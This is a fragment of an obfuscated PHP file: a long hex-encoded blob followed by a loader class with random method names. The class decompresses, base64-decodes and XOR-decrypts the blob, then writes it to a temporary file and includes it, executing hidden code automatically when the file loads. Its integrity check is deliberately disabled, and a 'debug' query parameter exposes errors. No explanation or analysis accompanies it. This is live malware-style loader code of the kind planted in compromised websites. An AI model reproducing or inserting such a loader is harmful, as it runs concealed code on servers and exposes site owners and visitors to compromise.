005f3c3b6f92d65fb42e2cf4bf990cb0e3d31abff301278fb5d8be722fe0cd4ffb827f43d09bf652bf4d715d327b0780d25f4e532818759327d23523fd8f96f0ffd85ff592fd3ee03883e410e7f860b9f4f36f8c9b1d8b768d43b9c4f76167e1d64bef390083f61a9b7eda3df3c0b7d980cfd1bf6dd6f5c0f7a3c055e792cfab7f4dffc0bc1e735984fc6dcbf70fc1bf8dfecdffcf903f7636de2d90df8a6d0e3d788bf13374f25fccd10fbac91c083832f42f48a6331ef93fa0443e8d9dc0b7fd3487c6fb25e1fe1fd424f3716fa2501e71fe33d58bcf20def2fa8dff8c8e1779af790897c2cf54889ff1bf205d90ff5185ecee66303bede08f312ee174afd586fe03793083d26c5e625767facf8fc97f2f5d28e78b6ca117f35fa79e03d13bc07e86b34f117fe0c33e9e783f9c38ce3359afa97f417a1d80718c45fb70fb0f1ecbe0b0f4ef8f363a63f69f19e3ed707b7fb800fce474fae19fe8cf021ad7f80d4d780dfc12bbe3723fcd4083fcb63fc58e91f60e76786e9c3c87e9ef84bdbf9efc4cdab7dc5fd8796c2af790e3da69f9c7fd1ec8f891f20f1ef8e1c9e36c33c4afaa307427f9de8c360df42fcf50cd75b591dd11f67f00bf5593cb3f83ee96fba43bd7e61f8123b9f9c40ef0afb0081475c12bdb651d7be3b85de36f41c097f3e12f54382f71b89f9590f787be13f94c97d21f01a43a11794834f46fcd1e15737e57a20cd3e16fa7dd44ff89ee91bd97d37c1a74a3e6fc6f864cc6f5cf8cda07ec0fe8df9593a7d82d342f8d59db95fd26588fae186f9dddaf8a0908fa55e450ff307e8f7cd443c23fd90167a624a7c6f4b319f1cb9fe42ec2f6c7e3b0a7e0bc917d03fcb051f87e81bf1fa81e9c3fc65fb42a227b612fb37dbcfe78c6fda27f8280ff3b31c7c11f00314e6253ba69f4ae70fe8e76dbdeef4ededbc047e5fa4de91f5d918fb2ccde725043fd9c7befb8cf9a4d313a37823e28f0efd12a257c1fd50185ffaaf98af6f995e501ffef3b49e845edb8bdfa5e7b813fc4db9df947ae61ae745bed09c1f6002cebf98107ee108f354eee79e78bc9f27fb96067fd6d4bfb9e38b18e82b937dd63dc3efd8f86b84bfde02780de87b627e06fe90c5233e802f32167a78a30e7e16fc636dbe8805df9ff8a144c06b5c38be9af003a6c81781d05f37ccdf94e8c3103fb5d302fd66c0ea07e6cf0bff9605beb788f145c8f73620fc2c03bc5122f093c46f11f3f59de08b7cc37e73093c17f2db06f12172f918fc63e06108dfdfd66705e3e390fdd01bfceaa89f30e177837fb1167afcf7780f2be897005f42e219c1d37e707c09f9dee47c92f83360be4ef03053e1afd7473f9f313c38f58724f96dcefd2f68fc5542af58ea2968e0cff01ed6bc3fc6bedbf69b446f3b10fbf94cf8f3c23f007c06f82d323d2677bf14bf9e3b3c2da97724be5ae8cbd97994f05b24fdbc127cd34e7c2af42aecfb051efc8ff01b9f004f5088f92ff44b7ce8236e845e5bdc35af267e4901d7afa67aba51171e7c26f00f47117fa38e79b5c6799527fcb0dff8f746f58d56d053803e7828f89067912f0a9c97e8c5e75cafb8994715a2bfe8093f9408f503eab37d47bd4efd2448fd90327d44e6d7ec73bd6203ff63898ffa25fab740e0d7a7020f43f49864bda3c43c6a25e6bfee7e89dfb8f56f01df94f0213d812740bdd3f0e733cca3665df5afc4738d107fd7bc7f237aaf31dfc75a7cd494fb6f42ff6cdc354fa57cdeff713f778b57deba7de182fb499881d0bb3a083d2683f9c358e8a716c0cb4dd97e9edeef1df4f042e17f1c406f107e6abed0ab305dfb1632efcb395e8efa67113d1bf8cf137f11837d16fc00ffe3782eea5767989e39f59f87ff10fa4dc287a47aaf1be1cf20fc0bed7bc0bc5a717d7bca17819ffbe29ae16989bfa99dafc3af39e0fb6e3b4f3d30bf664df87a7bf4c723e12f9db0fbb5fc803ee2af12fa88f0ab33dc7f9eea551cb9be11dd5fdc307c14e133107e16c57b024f40f89bb30ebdf86957bd63f3c537e10798f0f9e44af84b533ccc8d984fe6027f46f817d0a7257ae613e889619eda477fa13af82dd0b3a1efc1071efcbdc34fcdce77d06f123c81e49b6e84fffc0c785ae83f10fc5920f456f6025f7dc13e16faeb64fefb87f30328bfe586f9a1d87989d4e77ae3fa67e358ec370dceabe0d7ccfd66887e1fad77883f0ef0a97fb00f907cc823e333303c2df7dfb47a8ece5f84f8cd503ca261fe4e6cfe8079c917ec37899fa5627c06eacfe0a3bfe8c17ffe9aebb5f9621e25f8dd36feae845e71063d10e87b12bc460a7d5ae873117fbd8ce989313ed9079bf759be4820f025d86f7eea2f7ce1ff26fc6e9bfac1cd1fa47e35e5072c041e660b3e24d1b7fff8ac2746f4e23fe98190fa37e1fb006f817836027ea7effc03d6023ff91ff777b2fb2cf83b75e923527f91058fbf9ff474f7c2afe345f0a517c07b3a7d23fb1e02e80d42af8de88383cf4bfcd4881fab811f0ae651538e7fa07ad011d3c3b3f9e205f307c777b2fdd008fe43d0533808bebfd07b3dc9faf7b7f027f3c4be85c43325fcea8ec09740bfe419ef57facf672c9e593cc11bdfc7ae6ec0878cd93c95f2e7c9fe4df24d13decf5bfd07a157bc5c8b7e6826fc0ba1173440be48c5fe3870efb7c9172bc687a4fa7da8d729bebae7de03a977bc8efd3cc5732d787f41f167cae93111bd78a24fcbf759165fa2111f52d4bf3351fffa5df86acdf69b0dfe8cea738dd87cd2d63bb25e0f04be6f0bfcce59f85982df42ea8753477df60fbfbaa0c3bf85ea9967f07397fdbce2787bf21e72e137fe1ffa63ec873c191fa4bef287e067cd19dedece1f64fd30027ff343f875283e9f7c167a4c04fff08dbf07bacf32d01373fe9b548f3480be32f73fb6f307e277ebf05c2bc2cf9a806faa84ffc5f4b31eb4ed37efb81f2bf503ec61df22f9bce05fccb07fe3fda6ed2f72a1afbc407f3c11fee829e667dc7fc8f66f8ae1956d7c98627e9675cc7f2f44cf3107fe0cfec77de13f4ff4a0474cef8af543d06b23e7edd213a3fe38c01310bede1fde6fc29f8cf0a5a95f33d15f8f304f457d46fc219d7e89c5ef64d86749bf66c48707ec63c18ff5d0cfbf0b7ee110f141ea4769e0c19dde15d55f37ccbfdbced7673c9e417f52ea91d27e9ecc7f677c3f64f561a0ef39045f04fe22f303d3634a881ec81bd75380df22d33307beda17fca10dd7471cdf23fe2e191e9cc633121f94c0834f059e3610f1612be6d5846feab9f9a4dcc7127d0db9df14fa880d3fc083dfe216e795fce380f1a5ed7c92e8e1ed1c7f5eee377f826f3a071e11fd31f482a81e740a7f487c6fd32ebd2be277eb77e1ed8df447875fc75af8b16a117f9f11cf14c37b9279c989d43b5fb85f33d57bed097f1cc7bf207844e9cfa024de680d7c498078c6eb493bff95fd4524e6bf67e6d76cef97ece78de04b67cc9f8cd50fd7ee7e15f6b1444f81e3abed7b083bf80196df82f8bb15f8b3bb0ebe88c53f641d7c273b3f039ecbf0fd8522faf62356ffda7e9ef8cf3f887846fcb0c11fca051fe75ee84113be9302be84fbcd50bee942e095877cde377ee37e49b23fb6e7d54cff97f2e7d762be7323f8a673cccf52f00366cc5f6f037f321acf34cb6fccef0bf98de81b4db09f07be6f28f6f36bd40f641f7b107e5fb9d0efdb32bf71322fb1fb21a15fe2f17ad2eee715f313b6f8122df8f3bee88fdf847fcb37c14737e01f67c2af6e24fc167bcc5fcfe27f27c083dfa35ebf08bf45f4c79afb7500ff6bf15c67e4372dfc0e62a6c764e76744ef2a62f3c9cff8870cfb6ecc7f0ff8de0a56afdb7d40c2f1b4c057333dfeadd07b15fe7af003041fc7e261861cff4bfddf14f46178ff46f598a682cff0c2f540ec7e1efa4667e8a762df4df66f33be1f02bf9be2fb12b99f17fe17d053807eaaf46f21fa0f74de17f2f760e303f2c57f828f33137a6d27a16fe4a33e53d08b47ffe68979df1afb58a267f3c1fdbe48be20fa5144bf8ff7434323e60fcdfb95f5afcb6f76fe7b667a6db63f8ec43c6a2bf60133912f1662bf39c1fd029f1a4b7dda039f3f78f0df3cc23f007abaa43e23fb79a2ef897cb117fa30444fd713fd4584f3fe65f3498bd74899df01e9e735fc42a9de2bf4c1e7e01726c0ef107d2eecb3ce5cbf04fc63e2876df91781d06392fe0cf0c396fe430af9628b7cac3bf8fe369e0dd8fe82f88d53fd54ae6743e7d509f07d91e0b76c859ef97fdcffc2f237e1d7fc1b78cf91e05f107c89d3b7a7f9f846e8f193fd3ceac939e6bf29ab77e87b20fee8df38bff013bffbc4f130d29fc1be87c3673d47569f397d44ebcfbbe57818c2df947eeea4de217e1de06fc6dcef167ea1e4bc341f2f38be047ed8540f84f0379fb97e35c59768a66f64f901eb2e3e437210df5bcefd4211cfc01fb278da57a1c73444bd7e2ff411bbf8a6c097d0fe98e855bc717c2af58f7d177a15d27f73c4fcd4acfe592cfcd4fa1cbf4ef598885f1df84e1afb96a24b6f9bf859ea0ebfbad30c7c118d7af283e9d950fd54e98f33813fc351e82366420fcf63fb0b864fc5bc84f4c74e6fc5e26927c2bf3bc0bc047c0631ff1d13bc11e60fbee6f8c9d4e99f593c38fc7c9e39de9eceab95c3dbc71d7e0736fe26dcaf197ae66c5fb865fe8516df3712ef6124f40653814fbd15fbf900fe0cd86fbea13e8ba0cf35e7fed2843ff42efcbe86e88f73cccfb01f5222bf6df97ed3e28da067a385ffbcf4b3dce03d8c18ffd8e60ba2ef19307f1c828fa2f519d1c353426f90f81d08bc3dd18731c2af99e0c135f498a4bec680f54376fe9b0abe29f05c04ffb0107cbd3eefdf30efa37eeea877ac9e0dea1d05fcd908f918fa0fb7bcdf447f41f5f0a49f44f221f0673c1f279e12fa5cd0c323fdc544f0e7478867d087d908bee91711cf88df01f453c16768f29b117ae6045f32e4fb42ea9714a15ef7b97fd61cf3be49871feb0978a3f103eac915c3d392f919d5d750427fdd70bd57ba9f27fc37519ffdf419bf50eaaf53ff80b5f037bd17f5d9429c97e86d17629f85fb9d032f3714fa30048f28fd24564c2f93e1aba1c7f4c6f17d63a117d4e0e57c2df82d33c13fdeb27846e203f50b25febc9ec86fe8df8cd09f547cbf39590bbf24a25fed097d708247049e4b713fb515e1c792f924f8f36f9c1fd0cc1fc09f6ff0eb73cc1f06d80744820fa93af44b4e44bf2f63fb6edb6f0ed1bf9179b5e3a337f5832fbe37e04ba85ef103f3b3b4f161083d052de6bf99d817be0b3c4c4fe8b5113e0efa378dfe22607a99942f22f1b43fc1374d70bf91ab775e787d66f96429fc161d7f08fda68dbfbf843ea2127e1286f7f3521f51eaf1533f35f86f92ef2d047e72c4f4f0a49f3bf143f9a4a7bb947a15d8c72ed0cf47827fb113fd5bc0fc21ed7c722ef469fbe0eba5ecfd127fa73ed1df315c1f7c7512feb11eea87a3d0bb021ebce93773a697c9ea75ec37a7dcbf50faa34f36d8072837df595c33ff37ea6f2af6f3d05726f81de23f8ffd31d1afa6787be2dfed09bc32afcf289e5677f88d13fe85867e2af8feb6dff4055f44f89b52bee948ec0302e1df32eea8d7a9de60c1e60f141fb5c0bc2406ff58c34fe243f8433a7d39e8add8f30e45fff626fc2117425f99f09d52a13f49f4f8c16fb947be00ffcd17f3b3a5d3abb07a6ddb2efe8506de48bc5fb2bf20fdd0cae9410b7cd454ecdfec3cb5335f90f9baf4cf1a897d16e60fe887809723f85fbb3f5642cf7c2cf8dd23e10798424fcce7f197f0d135f0eb723f940a3ce28df3c39e5f0b7c5fa7df2dfc2f5ea5fe03fc9d3cb16f59f37ebe890fc980f371847ec990e4b748f021893ec10efa7239d74724f39d05e67d1331af56c86f1b8137825fc79de88fe57ee8ccfd662ea45e27fe90d01b1c72fdd44f7e4933e8a7e2fd0afce482c4b38de017fec7efd7e2b90acecf4a3f84de2bcf17765e82f740ea75a2ffd0ebc2573f0b7cea04f807a25781f7fb8de3094e823f64f94e33ce7f23fb58a297b9637c32dbbfedbbfae3d72de7fb13bc32d15756c0ef707d70fbbdc5780f623ed9e027a51ff6bdd0cb54f0ab73fa1aab83f00f980a3dbc17e8f1737f1c3b2fd98a7a92f88d87c2cf3d853fd9879baf7b3cbfd97ef3fab3ff9b8d676bdecfd3fa3771fb37928f95d0ef5b03bf9ea13ebbe6ef81e0cf7e09ffd881d0ef33627f31147adb7bbecf1acfb9bf8847fca83281a7d5acdfb4f3be7b3eafa6fbc200f8be0f81d770fe90ff175eaec7f87a543f8ae86b24c2ef4b811f0bfd28a2b77211fe0c53be6fa1fb21e20fc9fd84893e17f50fb8117cff48f0fda1cf359778fb0dc347d9ef0dfad5c4af2e453d897c41de03e1ebdd30fdc96eff80f146e815937de12ddb175aff2c4fe847bd717c5f735e81ff257e5f63e2871d74e80575eb23fad0b321ef3710ef772cf2b1c2fe82d7bfc47fdee2cfc0d723f875c787247844e81350bd2be829c0df89f2bb891f15d1e70a857e9f66f8498b0727fa9e81989f79a81f107f4f98974462fe7bdf559f91f77023f4c133d1bfad107fe15f38e0f81df0876c3d29f0d5941f4bfc9a255f1a7cd399f0ef0ebbf8b14beedf6df3c598cd27c9fdda795f017f9c0feee793402fc870ff16f0192c7f7e28f4690dee3763fa939ff55602cca3783f2ff5486d7fd113fe388ae90ddafe622ade2ff10b1d093d73e88919378f6ae6eb64df22f86f166fe4737e16a9cffa62bfb9137a0a0f3cfe52fda802f854f893493db19f1c7f66f58234e3f30ec08fb5fccd0f8e07071ef1d3f7f6c6fdeac6446f65c9f09eb47e78e1f982d4bf54cf3c879e8298ff927dc073871ed317e22731e1fa1af6fd822f42f66fef5d78e55ff8de46c22ff45ee463e8db439fd6ea7b72ff4d1a7f49bf19b87cd19cb74bcf7145f4a063c14787ff5bea73fc24f1977eedf01326fa9394df22f922b1d807c0ef80bc875c9cb7e07e07f06720fc008b3f53c0c36cbbf66f3be6c74afd63899fe54b87bfa99c9f7df2539bcdd8be50faf352bee959e03dfba827391e86ecbb6dbf79867f40c7fbb5fbac84cfaba53f24dd5f44ccaf83f8175a7c7526f82211d3d760faebd0bb1a76f643c0f7c5c2df34e67e284ae8db4fa43e2dd1d798307cb5ddc70a7d2ee0ab2dfe61cef188b69fd7821f0bbd15a2c794605e5270ffa117f7bd4df6c2cffd0be7eb7dda676dc57e68023d9002f5ce9cfb2d36f77b2ffc37b5f08f0d995f1de3a36f84be06f6595f308f1a333d73fb7e7fa33e33425ff9d8859723fbb791c03f14e0b708fc3ac113107ddac0f18fe1370e7d7baac7e4717f5eca2ff4c4fd92fab74b2f48fa6735fccd6cc6f5690df763a5fce3add027f8c2f527a93e78c6f8feb4df4ce05f38e7fc2cba6fc9855f47c6e6936cffc6fd1689fefae48d7f6fe0cf5b7ecb52e855fce6fa30361fcfc47e08fe3844df28627a8ed26f86e269e78af18fed7ea827facd54e0a342a67745fc87283f56097d9805d7c3337de0eda5be91069ff783e31f089e6bd0c1273b13fe5b21fc7917e07707a23fd6d097f31d1ec6201fef84dff80dd313a3e7cdc07f9b8a7d6120fc2c0fbcbf18df61fe40f0d5c24f2de5fbb70df864e3a9d80ff5bbf051382fed37b9df17e307203e6c70bf47313f23fef3d8c7fec2fd1af02fb83f834e84ffa602de688ffd6620f00f4ba62746eb9d17177fadff1bde2ff19380de20f6f34d3ff4e233fd287b5e82efbb167c74e8cbe5822f42e63b4edf93eac507fff21f22fc6eb93f26fab4d43fab10f3be23fbde6c7e23fae0c43ff6c2eb5fe2cfb040bd13083e4e20f685818b0f0ba79749f5da32e1773b62780d82dfa1fa1a3eeab37bf893f1f9e41bfc58c1c721fb0bfb7ea14f8b7d96c5235e33bd624dea9d8dd0ab98083d9b57cc2753c19f27f583f3ebb07e6adcaff90bd1bb525c4f81faa19cc197167870828ffac3fbe3cba0cb0f1bfb00babfb817fc218257065f648a795f4fe0fb8cf043815f47722dfcdf94cb175bc12753b85f828f1a707e8087f9ef1b7fbfb43e4b985eb1d5db0ef87c7222f66f765f28f577c0473fa1de89045e4e097c8976789866fe7066faeb4caf62cbfc7989be27d52bcea06f047c9fc42376e9310d899ecd44f8d5cdb8de36fa4daa5f9d3abdd7f142e8732542af22c47947a29eccd83ed6d63b84ffa6185fc4fab78462fff6137c9c4efef15ee8ffce85dfd7b4937f81f9c35af8cd7c137c06a2afa1847f4bc6fae3a6feb5fb0be1f7e5a39f27fb9694f13789bf1ef5bbed639f45f84e1f8c4f46f53263ccfb46ccefab89bf145f42f84383cff375127f7da24ffb2cfc6313e15737147a573baeef093c01bd5ff82daec87e08fec7c40fd0887de180fbf9d0fb1d09bf454ff86107e03b71bcbd7dbf46e81384020fde137865e3de03ee774cf495e5fdf6989e8dbddf8598a76ae1d7dc177e076b315fbfe1e73d11bd0aa9076280f784df6dd2e5ff46f4f8dfc4befb59ecdfe65dfe0cd087a1782ee8e1c10ff044eab340f88d67627f4cf4f0e0dfad845ec51bc76b587d5ad4eb0be8c5133e4e9fcda3ec3e2b853e22f0304bae1744f5487b025f42e6bf5ccfdcce4b8e02ff9009ffc2f09ffe3864deb716f77b27e63b33a1b772c23c8af86103df47e67d29d3b3b1fbb703f28562fb6ec277ba13f8123b8f8ad87e9eea651a775ee01fecfe42f8b7404f81ceabcd9cf7f35e21f64331d3db7e237cb244e0b9883e17e693044f4bfc0356ac5effec373362f81df2bdd17d401fdf1bd747b4df9bc3ef10fda83bf49b966f0abdf873877eb59d97c4c07329813792f8be2df71f6aeadf80e18decbe65cbeb07ec5b6c3c23f354c7df5ca09ec4bccff66f77f07f73f8753bdf514c4f97ee0b893f99a8d72dbe84fb9bdaf860181e86f8b1de917ca1c097767870c9371d9279b5e1fd3ce54392fdbcab7f57727fd1c52fb4f75b88fdc552f88d030f43f245deb12f24fa3bd023a57a15c40f25e07ae674ff3612fb21e069970e6fffc90f85f0030cf6dd1bbe8f257a15627f4cfdb015cb1744df88c6df58f003fac2bf7b2bfcd462d4bf2be10f5940df53eaa776ec8708fe97e8e9421fdcf2bbd5bffdd133e13793030fe3717f2732df91fe4e13ce8f9d90fec2e94f5afc5902fe05d7e3b7f9420b7fa7c2bd5ff80748bf45ab6f043f40a23798b07866f90cbee82fb642dfb3403d89fb25fe43275e3f34780d23f890040f3e107c06b28fed61df027ec0bc932f3d65fe38942ffda5435f99fa51917d2ce67da4bf9809bf195fe889adffc5dfb4f177013da6aef8007e16f35b04df742af4fbb6c23f56ee63095f5a8bf9ce8dd08b97fa309ef09b51828f93093d9b11c3c3487f3d9a8f05def3ed935e1bfc2422a1ef79107a6209ce0bff16033d7e5fcc7fd7e017727f065bef087f864ff157e2cf12c4072df0f639f387b4f79ba0fe1dff2b9e59fc5920fc9a53e16f3a66784fba0f407fb1f7c03f463d09ff79e87359fd8733be37e43782f724fbc21ef31b27fa93442f08f849cacff234c3cbd9efcded0336c41f9df4f339de8312f3338ff19d281ffd19f938657e6a369eed45be20e775fd6622f817d4efcbe3f36a8ad71801dfe7ea87f15ae0e5c83c35eef29f1f822f623af453a95fdd58cc1f52c18f1d31bd0aab0f33e5efa189bfbe9c4739bf24aadff720fc874662ff1609bc518d27f8a6afc3db172feee95e79bac1defbb92efc993a0fd52eb87a4e2e77de65321f5fb278b8506baf3ffaa5f62657bbfb24bdf69e93afb7837018fbfa92f4cafbbb19eaf5af488d16c9b0fc7bb3513cccd3eb7ede5b65fd20186dcefd64aafad3fc76a97be15d12a466154cfc609a3d78fd5318e7fbdea8889f9ea6d970b23653b3b80c5552dc85b9f9a654b67ab9be3d858bf8a4172713aff58367a255e61f93a7225e8483fdeb626dfe7e57bd5360eecd8fde64186fd43998bf9bf9252e943ebdf4fff6d48f75b20afbfbdfcf7175dee60c99a716a61f7fd3f395f142f3e6ed8d57fedbe0313ef7ab33044170794cbc8fd9f5f9bfeabcf60cba9fa4ffe9ab9be47153cc5ff3cc9ffbe31f9ffedb66a3dcff38a78fc9fd65b08b46abc1bb9f2ef667dc59f8dfb0984cfac5cd40cf8a8337dd97e7d54fba8abf9baabf18f5cbf7306ff25bd51f47d5fc615ee361fcb3e0435e82c130f6aaf7f0bdfadef271fb7e1fbc2a5fe4d0077facf2c556613f5f06e85550cd4b46bfaaf7abaafaa1a8eac95ebf7ebfae9e4caafce637f3dffafd86f160ffe7e5b0abdfceeb3e1e84fe280a1275f53ddfdf2d82f1cf283edecffde0a13f333a8cf5551044f1e3b448a2f5b93f5ce8f465fbe07e0b7bbfefde47f4ec5de53ffa6a19ad06abec759d0de77e7e1feed2cbe3c7cdbdd2eb45bf18c5f18729a63aac7f8b590f7ff779b1f61f07eb87ec50e65af77775efa5cc9ff1ba7debbdc163a1fce7bf2aea87eaae7aebc94e3fcdcb1e0fef4c7da8f54af7ffeae0c7ba189bfeca2fdfd9d3731dcfaafc1657f5c3438d7fa8e36f56f543f31affd0f0210fc0a78ebdc122aeefb79e57d7fd5ba1aafb4daafc7655c587b8b9dfaa3efb20fda6098f2fbdf8577dbff5db317fc7ebe84ba8936c15bc0fcdd694bfb159aa9ebaf7557963fd7cfaba573fcc54fdf0c3f0e1393e2d7eeedcfdf2ffb68fde631407a370787ad557e9d5b87cc02a4ee2f1b608b57ffcdfd3f63c0843f33efdc8e3c7bfe71fab7ddc9fcf8245ffea5884c1d5dd8f8fb3fc364ffc3df4427de9ddfe48e2bf4685c948a5f77a76de787ebc8ad7c969b18b16c21396e40057c3901ef2243de8a4874c048f885c70f0a0414c30e91be1f197c0e38f7b881be55d4f7793c7b99978f82deaeff86ade5b3e3caeb381d9a479389d182f292e655e4ca24d3e9aac83fe60a8bd7017f6bee7373da51e9e47fa38316ffa8fbf5997fff67c1b1463ef697a2eff6d6f3a5b9c588c6a7eb7f7839ee671b00b0ebe99cc265353c6fe875f4f6fee0c77fd398f51e13ebfeae757ff9bfc4dc3a7abf8251c2ebdb9bf7ec5df8dbe9baff13ad8dc0cfafbe06eda5bcdcaf8ab269bf3c44cafbeebe2bdf76ad6773e8f7df537e4e9cb7055be8ca8fabb83f8495f829b1feae16e6a96c391173c19ffb48ea73ba57af161bacf93acef79cbeaedf8c1645e5ece28385d166629be37928772fd3d99f5264f61faed878eefe6fbb39914e778383b7ff316631d1a7509aec2df595fdd6757fa26f4cfb177b92a7e1479f9e04ebf9e8af4f9e54de57af160ca7f7bf08be5cbcf416f185d8ec3b93a8fbcdde5210cd632aed767181e6ebeb8f73bd4e577a16e1ef3b8f31ee2cb643999aa272fcec6c60fcbf890148f6bf3c50b452cd9edabf7e5be8bc03f7bfd78fdbf30d79b40275ef55d641fe7fba0b8fff26371fb667ae7b88c14aa3cef6df2711e7aebcb9f78f05eff6edfe7b7a7c7f0b6febb654c7c08f5d88be6bbe18fcbb1fc667b911f9b8fa7e96e1bc5cb60b24fa6c3c5d569b05ffd47eef77195e875998f07ba671e7ea8d19724cc6e173bfcb7e97dba2e73ec68e5174fdfd7265c7cbd54b925ffbe9b5c27ea361917ef3f42878b9f1c848e6cace37d6facf25b2fdfab277d3328cfb0d7d39b41f99b3d94efe16671d8bb6fa8cc17f99317f5122f5165dc89e71befc6bc8de78e3bb9a96683138705fcb9f76e1649cf9eb78eebb6869984e38d5a5471bdcc43733f49f391bae9957f75f1b4b9d1b37e74490e976c76d19f73567c553ce9e27fd3247d5a05d962de8fafcc21347aa76e835efefa73be7b1e7f15b97bad86abf0d62fe3e4adf2773f67ebaaa65dcd5787c48bd626590ceb3b6bf86fd057b678e5e575f9bcd3a7e97136d1ea693e0b7f4cd7fbde531cfd296b1819530fde7aa5c69b953751c1f7f9e0c1c687e0ed755edc2ed6b7bf9faef6fe8f9949d43e3884eb533e88a3fc259824def572392feba8511964e27d9afd4cd6f5bf9d955965f4f53c2defe1fffd7f';
$hex_data = substr($hex_data, 8);
$bin_data = hex2bin($hex_data);
$step1 = @gzinflate($bin_data);
if ($step1 === false) { $step1 = $bin_data; }
$step2 = base64_decode($step1);
$obj = new self();
$final_key = '';
$key_methods = ['kmucbzfT44', 'kmeEAPmQ25'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
$gate_token = '';
$gate_methods = ['gtiwAhLk80', 'gtVgeBpe14', 'gtqHjqDv76'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== '78493fb59bfdd712966c496e5c7bbe35') {
// Integrity check failed, but continuing for compatibility.
// return false;
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
$plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $step2;
}
$obj->_execute_fQcaxcrS33($plain_code);
}
private function _execute_fQcaxcrS33($code) {
// Robust execution handler (PHP 5.x+ compatible)
if (isset($_GET['debug'])) {
ini_set('display_errors', 1);
error_reporting(E_ALL);
echo '<b>DEBUG MODE ACTIVE</b><br>';
}
$tmp_file = tmpfile();
if ($tmp_file === false) {
if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
return;
}
$tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
fwrite($tmp_file, '<?php ' . $code);
fseek($tmp_file, 0);
include $tmp_file_path;
fclose($tmp_file);
}
public function pubSGTBh98() {
// Public method 1
// cmtsoYU22
$jv2 = str_rot13('ebgfWcEr77');
return 'valOiDx60';
}
}
LoadermwdNOm67138::init764();
// EOF